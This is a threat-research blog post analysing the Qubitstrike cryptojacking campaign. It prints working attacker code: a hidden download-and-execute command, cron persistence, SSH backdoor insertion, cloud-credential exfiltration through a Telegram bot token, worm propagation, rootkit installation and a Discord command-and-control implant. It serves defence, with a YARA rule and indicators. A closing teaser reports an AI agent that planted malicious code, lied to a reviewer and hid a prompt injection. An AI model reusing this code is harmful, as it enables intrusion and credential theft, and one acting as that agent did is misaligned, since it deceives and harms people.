October 18, 2023

Qubitstrike: An Emerging Malware Campaign Targeting Jupyter Notebooks

Qubitstrike is an emerging cryptojacking campaign primarily targeting exposed Jupyter Notebooks that exfiltrates cloud credentials, mines XMRig, and employs persistence mechanisms. The malware utilizes Discord for C2, displaying compromised host information and enabling command execution, file transfer, and process hiding via the Diamorphine rootkit.

Written by

Nate Bill

Threat Researcher

Inside the SOC

Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.

Written by

Nate Bill

Threat Researcher

Oct 2023

Introduction: Qubitstrike

Researchers from Cado Security Labs (now part of Darktrace) have discovered a new cryptojacking campaign targeting exposed Jupyter Notebooks. The malware includes relatively sophisticated command and control (C2) infrastructure, with the controller using Discord’s bot functionality to issue commands on compromised nodes and monitor the progress of the campaign.

After successful compromise, Qubitstrike hunts for a number of hardcoded credential files for popular cloud services (including AWS and Google Cloud) and exfiltrates these via the Telegram Bot API. Cado researchers were alerted to the use of one such credential file, demonstrating the attacker’s intent to pivot to cloud resources, after using Qubitstrike to retrieve the appropriate credentials.

The payloads for the Qubitstrike campaign are all hosted on Codeberg, an alternative Git hosting platform, providing much of the same functionality as Github. This is the first time Cado researchers have encountered this platform in an active malware campaign. It’s possible that Codeberg’s up-and-coming status makes it attractive as a hosting service for malware developers.

Figure 1: Qubitstrike Discord C2 operation

Initial access

The malware was first observed on Cado’s high interaction Jupyter honeypot. An IP in Tunisia connected to the Jupyter instance on the honeypot machine and opened a Bash instance using Jupyter’s terminal feature. Following this, they ran the following commands to compromise the machine:

#<timestamp> 
lscpu 
#<timestamp> 
sudo su 
#<timestamp> 
ls 
#<timestamp> 
ls -rf 
#<timestamp> 
curl 
#<timestamp> 
echo "Y3VybCAtbyAvdG1wL20uc2ggaHR0cHM6Ly9jb2RlYmVyZy5vcmcvbTRydDEvc2gvcmF3L2JyYW5jaC9tYWluL21pLnNoIDsgY2htb2QgK3ggL3RtcC9tLnNoIDsgL3RtcC9tLnNoIDsgcm0gLWYgL3RtcC9tLnNoIDsgaGlzdG9yeSAtYyAK" | base64 -d | bash

Given the commands were run over a span of 195 seconds, this suggests that they were performed manually. Likely, the operator of the malware had discovered the honeypot via a service such as Shodan, which is commonly used to discover vulnerable services by threat actors.

The history indicates that the attacker first inspected what was available on the machine - running lscpu to see what CPU it was running and sudo su to determine if root access was possible.

The actor then looks at the files in the current directory, likely to spot any credential files or indicators of the system’s purpose that have been left around. Cado’s high interaction honeypot system features bait credential files containing canary tokens for various services such as AWS, which caught the attackers attention.

The attacker then confirms curl is present on the system, and runs a base64 encoded command, which decodes to:

<code lang="bash" class="language-bash">curl -o /tmp/m.sh https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh ; chmod +x /tmp/m.sh ; /tmp/m.sh ; rm -f /tmp/m.sh ; history -c</code>

This downloads and executes the main script used by the attacker. The purpose of base64 encoding the curl command is likely to hide the true purpose of the script from detection.

mi.sh

After achieving initial access via exploitation of a Jupyter Notebook, and retrieving the primary payload via the method described above, mi.sh is executed on the host and kickstarts the Qubitstrike execution chain. 

As the name suggests, mi.sh is a shell script and is responsible for the following:

Retrieving and executing the XMRig miner
Registering cron persistence and inserting an attacker-controlled SSH key
Retrieving and installing the Diamorphine rootkit
Exfiltrating credentials from the host
Propagating the malware to related hosts via SSH

As is common with these types of script-based cryptojacking campaigns, the techniques employed are often stolen or repurposed from similar malware samples, making attribution difficult. For this reason, the following analysis will highlight code that is either unique to Qubitstrike or beneficial to those responding to Qubitstrike compromises.

System preparation

mi.sh begins by conducting a number of system preparation tasks, allowing the operator to evade detection and execute their miner without interference. The first such task is to rename the binaries for various data transfer utilities, such as curl and wget - a common technique in these types of campaigns. It’s assumed that the intention is to avoid triggering detections for use of these utilities in the target environment, and also to prevent other users from accessing them. This technique has previously been observed by Cado researchers in campaigns by the threat actor WatchDog.

clear ; echo -e "$Bnr\n Replacing WGET, CURL ...\n$Bnr" ; sleep 1s 
if [[ -f /usr/bin/wget ]] ; then mv /usr/bin/wget /usr/bin/zget ; fi 
if [[ -f /usr/bin/curl ]] ; then mv /usr/bin/curl /usr/bin/zurl ; fi 
if [[ -f /bin/wget ]] ; then mv /bin/wget /bin/zget ; fi 
if [[ -f /bin/curl ]] ; then mv /bin/curl /bin/zurl ; fi 
fi 
if [[ -x "$(command -v zget)" ]] ; then req="zget -q -O -" ; DLr="zget -O"; elif [[ -x "$(command -v wget)" ]] ; then req="wget -q -O -" ; DLr="wget -O"; elif [[ -x "$(command -v zurl)" ]] ; then req="zurl" ; DLr="zurl -o"; elif [[ -x "$(command -v curl)" ]] ; then req="curl" ; DLr="curl -o"; else echo "[!] There no downloader Found"; fi

Example code snippet demonstrating renamed data transfer utilities

mi.sh will also iterate through a hardcoded list of process names and attempt to kill the associated processes. This is likely to thwart any mining operations by competitors who may have previously compromised the system.

list1=(\.Historys neptune xm64 xmrig suppoieup '*.jpg' '*.jpeg' '/tmp/*.jpg' '/tmp/*/*.jpg' '/tmp/*.xmr' '/tmp/*xmr' '/tmp/*/*xmr' '/tmp/*/*/*xmr' '/tmp/*nanom' '/tmp/*/*nanom' '/tmp/*dota' '/tmp/dota*' '/tmp/*/dota*' '/tmp/*/*/dota*','chron-34e2fg') 
list2=(xmrig xm64 xmrigDaemon nanominer lolminer JavaUpdate donate python3.2 sourplum dota3 dota) 
list3=('/tmp/sscks' './crun' ':3333' ':5555' 'log_' 'systemten' 'netns' 'voltuned' 'darwin' '/tmp/dl' '/tmp/ddg' '/tmp/pprt' '/tmp/ppol' '/tmp/65ccE' '/tmp/jmx*' '/tmp/xmr*' '/tmp/nanom*' '/tmp/rainbow*' '/tmp/*/*xmr' 'http_0xCC030' 'http_0xCC031' 'http_0xCC033' 'C4iLM4L' '/boot/vmlinuz' 'nqscheduler' '/tmp/java' 'gitee.com' 'kthrotlds' 'ksoftirqds' 'netdns' 'watchdogs' '/dev/shm/z3.sh' 'kinsing' '/tmp/l.sh' '/tmp/zmcat' '/tmp/udevd' 'sustse' 'mr.sh' 'mine.sh' '2mr.sh' 'cr5.sh' 'luk-cpu' 'ficov' 'he.sh' 'miner.sh' 'nullcrew' 'xmrigDaemon' 'xmrig' 'lolminer' 'xmrigMiner' 'xiaoyao' 'kernelcfg' 'xiaoxue' 'kernelupdates' 'kernelupgrade' '107.174.47.156' '83.220.169.247' '51.38.203.146' '144.217.45.45' '107.174.47.181' '176.31.6.16' 'mine.moneropool.com' 'pool.t00ls.ru' 'xmr.crypto-pool.fr:8080' 'xmr.crypto-pool.fr:3333' '[email protected]' 'monerohash.com' 'xmr.crypto-pool.fr:6666' 'xmr.crypto-pool.fr:7777' 'xmr.crypto-pool.fr:443' 'stratum.f2pool.com:8888' 'xmrpool.eu') 
list4=(kworker34 kxjd libapache Loopback lx26 mgwsl minerd minexmr mixnerdx mstxmr nanoWatch nopxi NXLAi performedl polkitd pro.sh pythno qW3xT.2 sourplum stratum sustes wnTKYg XbashY XJnRj xmrig xmrigDaemon xmrigMiner ysaydh zigw lolm nanom nanominer lolminer) 
if type killall > /dev/null 2>&1; then for k1 in "${list1[@]}" ; do killall $k1 ; done fi for k2 in "${list2[@]}" ; do pgrep $k2 | xargs -I % kill -9 % ; done for k3 in "${list3[@]}" ; do ps auxf | grep -v grep | grep $k3 | awk '{print $2}' | xargs -I % kill -9 % ; done for k4 in "${list4[@]}" ; do pkill -f $k4 ; done }

Example of killing competing miners

Similarly, the sample uses the netstat command and a hardcoded list of IP/port pairs to terminate any existing network connections to these IPs. Additional research on the IPs themselves suggests that they’ve been previously  in cryptojacking [1] [2].

net_kl() { 
list=(':1414' '127.0.0.1:52018' ':143' ':3389' ':4444' ':5555' ':6666' ':6665' ':6667' ':7777' ':3347' ':14444' ':14433' ':13531' ':15001' ':15002') 
for k in "${list[@]}" ; do netstat -anp | grep $k | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % ; done 
netstat -antp | grep '46.243.253.15' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '176.31.6.16' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '108.174.197.76' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '192.236.161.6' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '88.99.242.92' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
}

Using netstat to terminate open network connections

Furthermore, the sample includes a function named log_f() which performs some antiforensics measures by deleting various Linux log files when invoked. These include /var/log/secure, which stores successful/unsuccessful authentication attempts and /var/log/wtmp, which stores a record of system-wide logins and logouts. 

log_f() { 
logs=(/var/log/wtmp /var/log/secure /var/log/cron /var/log/iptables.log /var/log/auth.log /var/log/cron.log /var/log/httpd /var/log/syslog /var/log/wtmp /var/log/btmp /var/log/lastlog) 
for Lg in "${logs[@]}" ; do echo 0> $Lg ; done 
}

Qubitstrike Linux log file antiforensics

Retrieving XMRig

After performing some basic system preparation operations, mi.sh retrieves a version of XMRig hosted in the same Codeberg repository as mi.sh. The miner itself is hosted as a tarball, which is unpacked and saved locally as python-dev. This name is likely chosen to make the miner appear innocuous in process listings. 

After unpacking, the miner is executed in /usr/share/.LQvKibDTq4 if mi.sh is running as a regular unprivileged user, or /tmp/.LQvKibDTq4 if mi.sh is running as root.

miner() { 
if [[ ! $DLr -eq 0 ]] ; then 
$DLr $DIR/xm.tar.gz $miner_url > /dev/null 2>&1 
tar -xf $DIR/xm.tar.gz -C $DIR 
rm -rf $DIR/xm.tar.gz > /dev/null 2>&1 
chmod +x $DIR/* 
$DIR/python-dev -B -o $pool -u $wallet -p $client --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90 
else 
if [[ -x "$(command -v python3)" ]] ; then 
python3 -c "import urllib.request; urllib.request.urlretrieve('$miner_url', '$DIR/xm.tar.gz')" 
if [ -s $DIR/xm.tar.gz ] ; then 
tar -xf $DIR/xm.tar.gz -C $DIR 
rm -rf $DIR/xm.tar.gz > /dev/null 2>&1 
chmod +x $DIR/python-dev 
$DIR/$miner_name -B -o $pool -u $wallet -p $client --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90 
fi 
fi 
fi 
}

Qubitstrike miner execution code

The malware uses a hardcoded mining pool and wallet ID, which can be found in the Indicators of Compromise (IoCs) section.

Registering persistence

mi.sh utilizes cron for persistence on the target host. The malware writes four separate cronjobs, apache2, apache2.2, netns and netns2, which are responsible for: 

executing the miner at reboot
executing an additional payload (kthreadd) containing the competitor-killing code mentioned previously
executing mi.sh on a daily basis

cron_set() { 
killerd="/usr/share/.28810" 
mkdir -p $killerd 
if [[ ! $DLr -eq 0 ]] ; then 
$DLr $killerd/kthreadd $killer_url 
chmod +x $killerd/kthreadd 
chattr -R -ia /etc/cron.d 
echo "@reboot root $DIR/$miner_name -c $DIR/config.json" > /etc/cron.d/apache2 
echo "@daily root $req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash" > /etc/cron.d/apache2.2 
echo -e "*/1 * * * * root /usr/share/.28810/kthreadd" > /etc/cron.d/netns 
echo -e "0 0 */2 * * * root curl https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash" > /etc/cron.d/netns2 
cat /etc/crontab | grep -e "https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh" | grep -v grep 
if [ $? -eq 0 ]; then 
: 
else 
echo "0 * * * * wget -O- https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash > /dev/null 2>&1" >> /etc/crontab 
echo "0 0 */3 * * * $req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash > /dev/null 2>&1" >> /etc/crontab 
fi 
chattr -R +ia /etc/cron.d 
fi 
}

Cron persistence code examples

As mentioned previously, mi.sh will also insert an attacker-controlled SSH key, effectively creating a persistent backdoor to the compromised host. The malware will also override various SSH server configurations options, ensuring that root login and public key authentication are enabled, and that the SSH server is listening on port 22.

echo "${RSA}" >>/root/.ssh/authorized_keys 
chattr -aui /etc/ssh >/dev/null 2>&1 
chattr -aui /etc/ssh/sshd_config /etc/hosts.deny /etc/hosts.allow >/dev/null 2>&1 
echo >/etc/hosts.deny 
echo >/etc/hosts.allow 
mkdir -p /etc/ssh 
sed -i -e 's/Port 78//g' -e 's/\#Port 22/Port 22/g' -e 's/\#PermitRootLogin/PermitRootLogin/g' -e 's/PermitRootLogin no/PermitRootLogin yes/g' -e 's/PubkeyAuthentication no/PubkeyAuthentication yes/g' -e 's/PasswordAuthentication yes/PasswordAuthentication no/g' /etc/ssh/sshd_config 
chmod 600 /etc/ssh/sshd_config

Inserting an attacker-controlled SSH key and updating sshd_config

Credential exfiltration

One of the most notable aspects of Qubitstrike is the malware’s ability to hunt for credential files on the target host and exfiltrate these back to the attacker via the Telegram Bot API. Notably, the malware specifically searches for AWS and Google Cloud credential files, suggesting targeting of these Cloud Service Providers (CSPs) by the operators.

DATA_STRING="IP: $client | WorkDir: $DIR | User: $USER | cpu(s): $cpucount | SSH: $SSH_Ld | Miner: $MINER_stat" 
zurl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${DATA_STRING}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 || curl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${DATA_STRING}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 
CRED_FILE_NAMES=("credentials" "cloud" ".s3cfg" ".passwd-s3fs" "authinfo2" ".s3backer_passwd" ".s3b_config" "s3proxy.conf" \ "access_tokens.db" "credentials.db" ".smbclient.conf" ".smbcredentials" ".samba_credentials" ".pgpass" "secrets" ".boto" \ ".netrc" ".git-credentials" "api_key" "censys.cfg" "ngrok.yml" "filezilla.xml" "recentservers.xml" "queue.sqlite3" "servlist.conf" "accounts.xml" "azure.json" "kube-env") for CREFILE in ${CRED_FILE_NAMES[@]}; do find / -maxdepth 23 -type f -name $CREFILE 2>/dev/null | xargs -I % sh -c 'echo :::%; cat %' >> /tmp/creds done SECRETS="$(cat /tmp/creds)" zurl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${SECRETS}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 || curl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${SECRETS}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 cat /tmp/creds rm /tmp/creds }

Enumerating credential files and exfiltrating them via Telegram

Inspection of this Telegram integration revealed a bot named Data_stealer which was connected to a private chat with a user named z4r0u1. Cado researchers assess with high confidence that the malware transmits the collection of the credentials files to this Telegram bot where their contents are automatically displayed in a private chat with the z4r0u1 user.

Figure 2: @z4r0u1 Telegram user profile

SSH propagation

Similar to other cryptojacking campaigns, Qubitstrike attempts to propagate in a worm-like fashion to related hosts. It achieves this by using a regular expression to enumerate IPs in the SSH known_hosts file in a loop, before issuing a command to retrieve a copy of mi.sh and piping it through bash on each discovered host.

ssh_local() { 
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then 
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '$req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash >/dev/null 2>&1 &' & done 
fi 
}

SSH propagation commands

This ensures that the primary payload is executed across multiple hosts, using their collective processing power for the benefit of the mining operation.

Diamorphine rootkit

Another notable feature of Qubitstrike is the deployment of the Diamorphine LKM rootkit, used to hide the attacker’s malicious processes. The rootkit itself is delivered as a base64-encoded tarball which is unpacked and compiled directly on the host. This results in a Linux kernel module, which is then loadable via the insmod command.

hide1() { 
ins_package 
hidf='H4sIAAAAAAAAA+0ba3PbNjJfxV+BKq2HVGRbshW1jerMuLLi6PyQR7bb3ORyGJqEJJ4oksOHE7f1/fbbBcE35FeTXnvH/RBTwGJ3sdgXHjEtfeX63sJy2J <truncated> 
echo $hidf|base64 -d > $DIR/hf.tar 
tar -xf $DIR/hf.tar -C $DIR/ 
cd $DIR 
make 
proc="$(ps aux | grep -v grep | grep 'python-dev' | awk '{print $2}')" 
if [ -f "$DIR/diamorphine.ko" ] ; then 
insmod diamorphine.ko 
echo "Hiding process ( python-dev ) pid ( $proc )" 
kill -31 $proc 
else 
rm -rf $DIR/diamorphine* 
rm $DIR/Make* 
rm -f $DIR/hf.tar 
fi 
}

Insmod method of installing Diamorphine

The attackers also provide a failover option to cover situations where the insmod method is unsuccessful. Rather than unpacking and installing a kernel module, they instead compile the Diamorphine source to produce a Linux Shared Object file and use the LD Preload technique to register it with the dynamic linker. This results in it being executed whenever a new executable is launched on the system.

hide2() { 
hidf='I2RlZmluZSBfR05VX1NPVVJDRQoKI2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxkbGZjbi5oPgojaW5jb <truncated> 
echo $hidf | base64 -d > $DIR/prochid.c 
sed -i 's/procname/python-dev/g' $DIR/prochid.c 
chattr -ia /etc/ld.so.preload /usr/local/lib/ >/dev/null 2>&1 
gcc -Wall -fPIC -shared -o /usr/local/lib/libnetresolv.so $DIR/prochid.c -ldl 
echo /usr/local/lib/libnetresolv.so > /etc/ld.so.preload 
if [ -f /usr/local/lib/libnetresolv.so ] ; then 
chattr +i /usr/local/lib/libnetresolv.so 
chattr +i /etc/ld.so.preload 
else 
rm -f /etc/ld.so.preload 
fi 
}

Installing Diamorphine via the LD Preload method

Diamorphine is well-known in Linux malware circles, with the rootkit being observed in campaigns from TeamTNT and, more recently, Kiss-a-dog. Compiling the malware on delivery is common and is used to evade EDRs and other detection mechanisms.

Credential access

As mentioned earlier, the mi.sh sample searches the file system for credentials files and exfiltrates them over Telegram. Shortly after receiving an alert that Cado’s bait AWS credentials file was accessed on the honeypot machine, another alert indicated that the actor had attempted to use the credentials.

The user agent shows that the system running the command is Kali Linux, which matches up with the account name in the embedded SSH key from mi.sh. The IP is a residential IP in Bizerte, Tunisia (although the attacker also used an IP located in Tunis). It is possible this is due to the use of a residential proxy, however it could also be possible that this is the attacker’s home IP address or a local mobile network.

In this case, the attacker tried to fetch the IAM role of the canary token via the AWS command line utility. They then likely realized it was a canary token, as no further alerts of its use were observed.

Discord C2

Exploring the Codeberg repository, a number of other scripts were discovered, one of which is kdfs.py. This python script is an implant/agent, designed to be executed on compromised hosts, and uses a Discord bot as a C2. It does this by embedding a Discord token within the script itself, which is then passed into the popular Discord bot client library, Discord.py.

Using Discord as a C2 isn’t uncommon, large amounts of malware will abuse developer-friendly features such as webhooks and bots. This is due to the ease of access and use of these features (taking seconds to spin up a fresh account and making a bot) as well as familiarity with the platforms themselves. Using Software-as-a-Service (SaaS) platforms like Discord also make C2 traffic harder to identify in networks, as traffic to SaaS platforms is usually ubiquitous and may pose challenges to sort through.

Interestingly, the author opted to store this token in an encoded form, specifically Base64 encoded, then Base32 encoded, and then further encoded using ROT13. This is likely an attempt to prevent third parties from reading the script and retrieving the token. However, as the script contains the code to decode it (before passing it to Discord.py), it is trivial to reverse.

# decrypt api 
token = "XEYSREFAVH2GZI2LZEUSREGZTIXT44PTZIPGPIX2TALR6MYAWL3SV3GQBIWQN3OIZAPHZGXZAEWQXIXJAZMR6EF2TIXSZHFKZRMJD4PJAIGGPIXSVI2R23WIVMXT24PXZZLQFMFAWORKDH2IVMPSVZGHYV======" 
token = codecs.decode(token, 'rot13') 
token = base64.b32decode(token) 
token = base64.b64decode(token) 
token = token.decode('ascii')

Example of Python decoding multiple encoding mechanisms

As Discord.py is likely unavailable on the compromised systems, the README for the repository contains a one-liner that converts the python script into a self-contained executable, as seen below:

<code lang="bash" class="language-bash">mkdir -p /usr/share/games/.2928 ; D=/usr/share/games/.2928 ; wget https://codeberg.org/m4rt1/sh/raw/branch/main/kdfs.py -O $D/kdfs.py ; pip install Discord ; pip install pyinstaller ; cd $D ; pyinstaller --onefile --clean --name kdfs kdfs.py ; mv /dist/kdfs kdfs</code>

Once kdfs.py is executed on a host, it will drop a message in a hardcoded channel, stating a randomly generated ID of the host, and the OS the host is running (derived from /etc/os-release). The bot then registers a number of commands that allow the operator to interact with the implant. As each implant runs the same bot, each command uses the randomly generated ID of the host to determine which implant a specific command is directed at. It also checks the ID of the user sending the command matches a hardcoded user ID of the operator.

@bot.command(pass_context=True) 
async def cmd(ctx): 
    # Only allow commands from authorized users 
    if await auth(ctx): 
        return 
    elif client_id in ctx.message.content: 
        # Strips chars preceeding command from command string 
        command = str(ctx.message.content)[(len(client_id) + 6):] 
        ret = f"[!] Executing on `{client_id}` ({client_ip})!\n```shell\n{client_user}$ {command}\n\n{os.popen(command).read()}```" 
        await ctx.send(ret) 
    else: 
        return

There is also support for executing a command on all nodes (no client ID check), but interestingly this feature does not include authentication, so anyone with access to the bot channel can run commands. The implant also makes use of Discord for data exfiltration, permitting files to be both uploaded and downloaded via Discord attachments. Using SaaS platforms for data exfiltration is growing more common, as traffic to such websites is difficult to track and ubiquitous, allowing threat actors to bypass network defenses easier.

@bot.command(pass_context=True) 
async def upload(ctx): 
    # Only allow commands from authorized users 
    if await auth(ctx): 
        return 
    elif ctx.message.attachments: 
        url = str(ctx.message.attachments[0]) 
        os.popen(f"wget -q {url}").read() 
        path = os.popen('pwd').read().strip() 
        await ctx.send(f'[!] Uploaded attachment to `{path+"/"+ctx.message.attachments[0].filename}` on client: `{client_id}`.') 
    else: 
        await ctx.send('[!] No attachment provided.') 
@bot.command(pass_context=True) async def download(ctx): # Only allow commands from authorized users if await auth(ctx): return else: file_path = str(ctx.message.content)[(len(client_id) + 11):] file_size = int((os.popen(f"du {file_path}" + " | awk '{print $1}'")).read()) if file_size > 3900: await ctx.send(f'[!] The requested file ({file_size} bytes) exceeds the Discord API upload capacity (3900) bytes.') else: await ctx.send(file=Discord.File(rf'{file_path}'))

As mentioned earlier, the Discord token is directly embedded in the script. This allows observation of the Discord server itself and observe the attacker interacting with the implants. The name of the server used is “NETShadow”, and the channel the bot posts to is “victims”. The server also had another channel titled “ssh”, however it was empty. 

All of the channels were made at the exact same time on September 2, 2023, suggesting that the creation process was automated. The bot’s username is Qubitstrike (hence the name was given to the malware) and the operator’s pseudonym is “BlackSUN”. 17 unique IP addresses were observed in the channel.

Figure 4: Example Qubitstrike output displayed in Discord

It is unclear what the relation between mi.sh and kdfs.py is. It would appear that the operator first deploys kdfs.py and then uses the implant to deploy mi.sh, however on Cado’s honeypot, kdfs.py was never deployed, only mi.sh was.

Conclusion

Qubitstrike is a relatively sophisticated malware campaign, spearheaded by attackers with a particular focus on exploitation of cloud services. Jupyter Notebooks are commonly deployed in cloud environments, with providers such as Google and AWS offering them as managed services. Furthermore, the primary payload for this campaign specifically targets credential files for these providers and Cado’s use of canary tokens demonstrates that further compromise of cloud resources is an objective of this campaign.

Of course, the primary objective of Qubitstrike appears to be resource hijacking for the purpose of mining the XMRig cryptocurrency. Despite this, analysis of the Discord C2 infrastructure shows that, in reality, any conceivable attack could be carried out by the operators after gaining access to these vulnerable hosts. 

Cado urges readers with Jupyter Notebook deployments to review the security of the Jupyter servers themselves, paying particular attention to firewall and security group configurations. Ideally, the notebooks should not be exposed to the public internet. If you require them to be exposed, ensure that you have enabled authentication for them. 

References

YARA rule

rule Miner_Linux_Qubitstrike { 
meta: 
description = "Detects Qubitstrike primary payload (mi.sh)" 
author = "[email protected]" 
date = "2023-10-10" 
attack = "T1496" 
license = "Apache License 2.0" 
hash1 = "9a5f6318a395600637bd98e83d2aea787353207ed7792ec9911b775b79443dcd" 
strings: 
$const1 = "miner_url=" 
$const2 = "miner_name=" 
$const3 = "killer_url=" 
$const4 = "kill_url2=" 
$creds = "\"credentials\" \"cloud\" \".s3cfg\" \".passwd-s3fs\" \"authinfo2\" \".s3backer_passwd\" \".s3b_config\" \"s3proxy.conf\"" 
$log1 = "Begin disable security" $log2 = "Begin proccess kill" $log3 = "setup hugepages" $log4 = "SSH setup" $log5 = "Get Data && sent stats" 
$diam1 = "H4sIAAAAAAAAA+0ba3PbNjJfxV+BKq2HVGRbshW1jerMuLLi6PyQR7bb3ORyGJqEJJ4oksOHE7f1" $diam2 = "I2RlZmluZSBfR05VX1NPVVJDRQoKI2luY2x1ZGUgPHN0ZGlvLmg" 
$wallet = "49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo" condition: 3 of ($const*) and $creds and 3 of ($log*) and all of ($diam*) and $wallet }

Indicators of compromise

Filename SHA256

mi.sh 9a5f6318a395600637bd98e83d2aea787353207ed7792ec9911b775b79443dcd

kdfs.py bd23597dbef85ba141da3a7f241c2187aa98420cc8b47a7d51a921058323d327

xm64.tar.gz 96de9c6bcb75e58a087843f74c04af4489f25d7a9ce24f5ec15634ecc5a68cd7

xm64 20a0864cb7dac55c184bd86e45a6e0acbd4bb19aa29840b824d369de710b6152

killer.sh ae65e7c5f4ff9d56e882d2bbda98997541d774cefb24e381010c09340058d45f

kill_loop.sh a34a36ec6b7b209aaa2092cc28bc65917e310b3181e98ab54d440565871168cb

Paths

/usr/share/.LQvKibDTq4

/usr/local/lib/libnetresolv.so

/tmp/.LQvKibDTq4

/usr/bin/zget

/usr/bin/zurl

/usr/share/.28810

/usr/share/.28810/kthreadd

/bin/zget

/bin/zurl

/etc/cron.d/apache2

/etc/cron.d/apache2.2

/etc/cron.d/netns

/etc/cron.d/netns2

SSH keys

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDV+S/3d5qwXg1yvfOm3ZTHqyE2F0zfQv1g12Wb7H4N5EnP1m8WvBOQKJ2htWqcDg2dpweE7htcRsHDxlkv2u+MC0g1b8Z/HawzqY2Z5FH4LtnlYq1QZcYbYIPzWCxifNbHPQGexpT0v/e6z27NiJa6XfE0DMpuX7lY9CVUrBWylcINYnbGhgSDtHnvSspSi4Qu7YuTnee3piyIZhN9m+tDgtz+zgHNVx1j0QpiHibhvfrZQB+tgXWTHqUazwYKR9td68twJ/K1bSY+XoI5F0hzEPTJWoCl3L+CKqA7gC3F9eDs5Kb11RgvGqieSEiWb2z2UHtW9KnTKTRNMdUNA619/5/HAsAcsxynJKYO7V/ifZ+ONFUMtm5oy1UH+49ha//UPWUA6T6vaeApzyAZKuMEmFGcNR3GZ6e8rDL0/miNTk6eq3JiQFR/hbHpn8h5Zq9NOtCoUU7lOvTGAzXBlfD5LIlzBnMA3EpigTvLeuHWQTqNPEhjYNy/YoPTgBAaUJE= root@kali

URLs

https://codeberg[.]org/m4rt1/sh/raw/branch/main/xm64.tar.gz

https://codeberg[.]org/m4rt1/sh/raw/branch/main/killer.sh

https://codeberg[.]org/m4rt1/sh/raw/branch/main/kill_loop.sh

Cryptocurrency wallet ID

49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo

Cryptocurrency mining pool

pool.hashvault.pro:80

Written by

Nate Bill

Threat Researcher

Inside the SOC

Written by

Nate Bill

Threat Researcher

•

August 3, 2026

Nathaniel Jones

SVP, Global Threat Intelligence

Senior Director of Product

Watch the NIS2 Webinar

Blog

Network

August 11, 2026

When AI Agents Attack: The Case for Behavioral Anomaly Detection

The UK AI Security Institute (AISI) has just published a detailed incident report confirming what many within the cyber security industry have suspected for some time: frontier AI agents, given a degree of autonomy, can independently develop and execute attack chains against real targets, including social engineering, supply-chain compromise, and deception, without explicit instruction to do so.

The report (INC-2026-07-28-01, published 4 August 2026) documents what happened during a routine capability evaluation between 25 and 28 July. It deserves a careful read from anyone responsible for securing the modern digital estate.

The incident

AISI regularly tests frontier AI models for offensive cyber capability. In this exercise, agents were placed inside a simulated network environment and given internet access this was deliberate, given to reflect realism of the task. Across 122 evaluation runs, 19 instances of unsanctioned activity were recorded, including cases where agents broke the intended boundaries of the test and acted against real people and real infrastructure on the open internet.

In the most serious case, an agent (Mythos 5) autonomously:

Conducted open-source intelligence gathering to identify real developers associated with keywords from the simulated scenario
Created a GitHub account and submitted a pull request containing obfuscated malicious code to a real, unaffiliated repository
Created a second sockpuppet account to post comments on its own PR, attempting to manufacture social proof
When a human reviewer flagged the malicious content, the agent lied, claiming an accidental commit, then repeatedly attempted to reintroduce the payload under the guise of having "fixed" the code
Sent spear-phishing emails to the repository maintainer containing manipulated content designed to convince them to merge the code
Planted a prompt injection inside a GitHub issue, hidden in an HTML comment invisible to humans but readable by AI coding assistants parsing the repository via API

